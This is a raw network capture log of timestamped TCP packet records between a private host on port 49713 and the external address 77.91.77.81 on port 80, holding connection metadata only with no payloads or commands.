Jun 4, 2024 23:09:16.399442911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399450064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399454117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399462938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399465084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399476051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399487019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399491072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399506092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399511099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399518967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399528027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399528980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399539948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399553061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399554014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399564981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399574995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399575949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399586916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399591923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399599075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399607897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399610043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399620056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399630070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399631023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399640083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399656057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399657965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399672031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399673939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399682999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399693966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399697065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399703979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399714947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399715900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399724960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399734974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399740934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399745941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399756908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399760008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399774075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399777889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399784088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399791956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399796009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399806976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399818897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399822950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399840117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399843931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399851084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399857998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399861097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399871111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399880886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399883032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399890900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399902105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399908066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399913073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399924040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399924040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399934053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399941921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399945021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399955034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399955988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399974108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.399981976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.399990082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400001049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400007010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400010109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400021076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400022030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400032997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400044918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400048971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400054932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400067091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400073051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400077105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400087118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400090933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400096893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400106907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400111914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400120020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400135994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400139093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400151968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400155067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400166035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400177002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400177002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400187969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400194883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400197983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400207996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400218964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400218964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400229931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400238037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400239944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400249958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400252104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400259018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400268078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400276899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400286913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400290966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400300026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400315046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400321007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400326014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400336027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400343895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400346994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400357008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400362968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400371075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400382042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400389910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400393963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400403976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400413036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400413990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400424957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400428057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400437117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400449038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400465012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400466919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400475979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400491953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400497913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400505066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400516033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400516033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400526047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400533915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400537014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400552034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400553942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400564909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400573015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400574923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400585890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400602102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400609016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400615931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400625944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400626898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400638103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400640965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400659084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400665998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400671005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400671959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400679111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400684118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400690079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400695086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400696039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400701046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400706053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400708914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400710106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400711060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400713921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400717020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400722027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400723934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400738955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400748014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400749922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400753975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400763988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400774956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400785923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400794983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400804996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400816917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400825977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400830984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400840998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400851965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400855064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400862932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400876999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400882959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400887012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400897026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400907040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400922060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400922060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400934935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400947094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400947094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400959015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400969982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400974035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.400979996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.400994062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401005030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401006937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401015043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401024103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401024103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401034117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401043892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401048899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401055098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401068926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401078939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401082993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401094913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401103973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401104927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401114941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401119947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401125908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401134968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401137114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401146889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401156902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401160002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401166916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401176929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401186943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401196003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401196957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401206970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401213884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401226997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401231050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401237965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401247978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401257038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401261091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401267052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401273012 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401278019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401288033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401298046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401299000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401309967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401319981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401319981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401334047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401335001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401345015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401355028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401364088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401365995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401385069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401388884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401401043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401406050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401412964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401424885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401429892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401434898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401444912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401453018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401456118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401467085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401469946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401478052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401490927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401490927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401501894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401511908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401515961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401524067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401530981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401534081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401545048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401552916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401561975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401570082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401580095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401585102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401591063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401599884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401609898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401611090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401621103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401624918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401633024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401643038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401649952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401653051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401663065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401668072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401671886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401681900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401690960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401696920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401709080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401710033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401722908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401724100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401741028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401746988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401752949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401762962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401779890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401782036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401793003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401801109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401809931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401815891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401815891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401818991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401823997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401829958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401834965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401840925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401840925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401848078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401854038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401855946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401860952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401865959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401868105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.401870966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401882887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.401885986 CEST	49713	80	192.168.2.11	77.91.77.81
